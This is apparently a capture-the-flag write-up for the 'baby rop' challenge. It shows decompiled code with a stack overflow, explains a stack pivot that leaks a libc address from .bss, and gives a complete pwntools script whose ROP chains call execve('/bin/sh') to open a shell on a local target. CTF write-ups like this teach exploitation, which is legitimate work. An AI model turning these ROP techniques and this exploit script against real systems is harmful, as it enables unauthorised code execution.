tsune Help

2025-10

Challenge information

  • CTF: smiley CTF 2025

  • Challenge: baby rop

  • Solves: N/A

  • Description: N/A

  • Time-wasting to solve: 60 min

writeup

Screenshot_20251122_005647.png

obviously stack bof

00401183 uint64_t gets(void* arg1) 00401183 { 00401183 int32_t rax_2 = read(0, arg1, 0x2bc); 00401183 004011b5 if (rax_2 > 0) 004011c7 *(uint8_t*)((char*)arg1 + (int64_t)rax_2 - 1) = 0; 004011c7 004011ce return (uint64_t)rax_2; 00401183 } 004011cf int32_t main(int32_t argc, char** argv, char** envp) 004011cf { 004011cf setbuf(__TMC_END__, nullptr); 00401200 void var_28; 00401200 memset(&var_28, 0, 0x20); 0040120c gets(&var_28); 0040121f print(&var_28); 00401227 return 0; 004011cf }

But since rax and rdi, other useful register were filled by zero, also print is a function pointer pointed to puts so there's no puts@plt.

First, I found this part of assembly.

Using this gadget with stack pivoting, we can leak something in known addr like function pointer in .bss (PIE disabled in this challenge.)

00401211 488b15f82d0000 mov rdx, qword [rel print] 00401218 488d45e0 lea rax, [rbp-0x20 {var_28}] 0040121c 4889c7 mov rdi, rax {var_28} 0040121f ffd2 call rdx

After leaking libc, make a rop-chain with heavy attention to rsp starvation.

Why I added too much ret gadget into my rop-chain is to prepare the stack for puts. As you can imagine, puts also consume the stack, so without the temporary stack, puts will overwrite the function pointer, which cause SIGSEGV because of rwx permission.

3 rop-chaining give me launching the shell.

from pwn import * from icecream import ic import sys import re import inspect e = ELF("vuln",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 127.0.0.1 9999" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sln = lambda b: io.sendline(str(b).encode()) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) fsp = lambda b : f"%{b}$p".encode() shell = lambda : io.interactive() def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}") payload = b"" def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***") def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) pop_rcx = 0x0040117e pop_rbp = 0x00401181 ret = 0x00401234 rst() pay( b"A"*0x20, 0x000000404040+0x20, 0x401205 ) payload = payload.ljust(0x2bc, b"\x00") s(payload) rst() pay( ret, pop_rbp, 0x404010+0x20-0x8, 0x401205, 0x404010+0x20, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, pop_rbp, 0x404010+0x20+0x8, 0x401211, ) r() sl(payload) ic(rl()) leak = rl()[:-1] leak = pu64(leak) hl(leak) libc.address = leak - (0x7a3658a045c0 - 0x00007a3658800000) hl(libc.address) rst() pay( b"/bin/sh\x00", ret, ret, ret, ret, ret, ret, ret, pop_rbp, 0x000000404090+0x10, libc.address + 0x111cbe, next(libc.search(b"/bin/sh\x00")), libc.address + 0x110cf6, 0, libc.address + 0xdd237, 0x3b, libc.address + 0x0000000000184cb4, 0, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, libc.address + 0x12ac29, ) sl(payload) shell()
Last modified: 21 November 2025